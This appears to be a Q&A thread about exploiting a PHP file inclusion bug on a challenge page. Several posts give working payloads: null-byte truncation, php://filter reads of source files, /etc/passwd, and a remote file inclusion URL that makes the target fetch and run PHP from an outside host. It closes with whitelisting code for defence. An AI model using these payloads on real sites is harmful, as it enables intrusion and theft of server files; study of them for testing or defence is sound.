4

I'm trying to exploit a LFI bug. My link looks like this:

http://example.com/challenge/mypage.php?page=test

When I put /etc/passwd instead of test it shows me:

Warning: include() [function.include]: Failed opening '/etc/passwd.inc.php' for inclusion (include_path='.:/opt/alt/php53/usr/share/pear:/opt/alt/php53/usr/share/php')

As you can see, by default it concats .inc.php to the end of the file. To bypass it, I'm trying to add the null value like this:

http://example.com/challenge/mypage.php?page=/etc/passwd%00

I still get the error, but without .inc.php this time:

Warning: include() [function.include]: Failed opening '/etc/passwd' for inclusion (include_path='.:/opt/alt/php53/usr/share/pear:/opt/alt/php53/usr/share/php')

I have even manually added test.inc.php%00 but again I get the same message:

Warning: include() [function.include]: Failed opening 'test.inc.php' for inclusion (include_path='.:/opt/alt/php53/usr/share/pear:/opt/alt/php53/usr/share/php')

I tried to check php://input and php://filter and data://text/plain;base64 but that didn't work either.

Do you have any idea for how to exploit this bug?

When I playing with case-sensitive wrappers it's working,

http://example.com/challenge/mypage.php?page=pHp://FilTer/convert.base64-encode/resource=test

the output is base64 encoded string like this :

PD8KZWNobygnVEVTVCBQQUdFICEhIScpOwo/Pg==

but when I try to read index.php the output is :

http://example.com/challenge/mypage.php?page=pHp://FilTer/convert.base64-encode/resource=index.php%00

Warning: include() [function.include]: Failed opening 'index.php' for inclusion

  • have you tried php filters? also what do you mean by its bypassed but now and again it shows you that error? ... – TheHidden Mar 16 '18 at 15:04
  • page=php://filter/convert.base64-encode/resource=test – TheHidden Mar 16 '18 at 15:05
6

I think that it's not working because you're hitting a security check.

I ran strace to see what PHP was doing when including a file with a legal name, albeit nonexistent, and a file with an illegal name. It behaves differently:

lstat("/home/lserni/./legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/lserni/legal.inc.php", O_RDONLY) = -1 ENOENT ...
write(2, "PHP Warning:  include(): Failed "..., 154
PHP Warning:  include(): Failed opening 'legal.inc.php' for inclusion...

write(2, "PHP Warning:  include(): Failed "..., 148
PHP Warning:  include(): Failed opening 'illegal' for inclusion...

So from above you can see that the legal file name gets checked on the file system - twice - and an opening attempt is done even if PHP sees that the file doesn't exist (this rated 0.2 kWTF) and issues an error.

The illegal file name issues the same error, but without even trying to check whether the file might be there.

I'm quite confident that if I check in PHP sources I'll find some test that fakes a "this file isn't here" error, when actually PHP decided to not open the file no matter whether it was there or not.

Remote file inclusion

The "file inclusion" vulnerability means that you can send to the server something that will cause it to include() (and execute) a file of your choice. The file can be local (Local File Inclusion or LFI) or remote (RFI).

To exploit a RFI you need a remote file on a different domain; not the one you're testing, but another.

This remote file, not the local ones, must be under your control.

The content of the remote file must be such that the vulnerable server will include it; that is, it must be valid PHP.

The remote file, once included, will execute inside the vulnerable server, and so will have access to its local files (but no longer to the remote ones).

So if the remote file displays the instructions "include('index.php');" or die(file_get_contents('index.php'));, it will read not the index.php of the remote server, but that of the vulnerable server (which is what we want to do).

At the same time, the remote file will execute on the remote server, so we want it to execute some PHP code that will display another PHP code.

For example this is the content of http://www.serni.org/i.inc.php:

<?php
    // The outer code is just a print.

    print <<<INNER_CODE
<?php
    // This is a sample remote file inclusion vulnerability.
    // It will simply count how many files there are in the
    // vulnerable script's directory.

    \$files = count(glob('*.*'));
    print "This folder contains {\$files} files.";

    // Just sayin'.
    // shell_exec("FORMAT A: /Y /AUTOTEST");
INNER_CODE;

If you use http://www.serni.org/i.inc.php as a resource, and the RFI works, the vulnerable page will return the count of files in that directory.

G1mm3 th3 cod3z (TL;DR;DT)

http://example.com/challenge/mypage.php?page=http%3A%2F%2Fwww.serni.org%2Fi

How to defend

Obviously, sanitize your inputs. Or better, whitelist them, and only allow very simple combinations. And unless you need to include remote resources (which happens), set allow_url_fopen to false.

$allowed_resources = '#^[A-Za-z_0-9-]+$#';
$ok = false;
if (preg_match($allowed_resources, $resource)) {
    $actual_file = realpath("external_resources/{$resource}.php");
    // We could verify that actual_file matches _SERVER_ROOT/external...
    if (file_exists($actual_file)) {
        include $actual_file;
        $ok = true;
    }
}
if (!$ok) {
    // We don't want to send back to clients whatever they sent us; that way lie XS vulnerabilities.
    $resource = basename(strip_tags($resource));
    // Mess a little with people's heads.
    die("Warning: include() [function.include]: Failed opening 'C:\\Inetpub\\Resources\\{$resource}.aspx' for inclusion (include_path='C:\\;C:\\WINDOWS;C:\\Program Files\\Nginx;C:\\Python\\Tornado5\\modules')");
}
  • "this rated 0.2 kWTF" lol - there is probably some obscure edge-case where an lstat would file where an open would not... I hope. – deed02392 Mar 16 '18 at 19:44
  • thank for your reply, but when a file exists in this system shows nothing or like test page just showing the content of that page , for example, in here I've a file config.inc.php, when I write just config it isn't show anything but it exists , in other case when the file does not exist the error is : Warning: include(test2.inc.php) [function.include]: failed to open stream: No such file or directory – Freeman Mar 16 '18 at 19:51
  • PHP "knows" what you are attempting, and intentionally gives you a false error message. The file might exist, or not - PHP does not care. You tried to include it with a trick, and that file is treated as if it did not exist. Yes, even if it exists. – LSerni Mar 16 '18 at 20:40
  • I finally read the test.inc.php file with playing case insensitive wrapper method like this : pHp://FilTer/convert.base64-encode/resource=test , but the problem still remains, I can just read .inc.php file, and I can not read index.php for example, any idea ? – Freeman Mar 16 '18 at 22:01
  • You have done nothing to address the underlying problem: you cannot add a separator which will cut away the ".inc.php" added by the server. You need to resort to a RFI, but I guess you already knew that. – LSerni Mar 16 '18 at 22:16

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.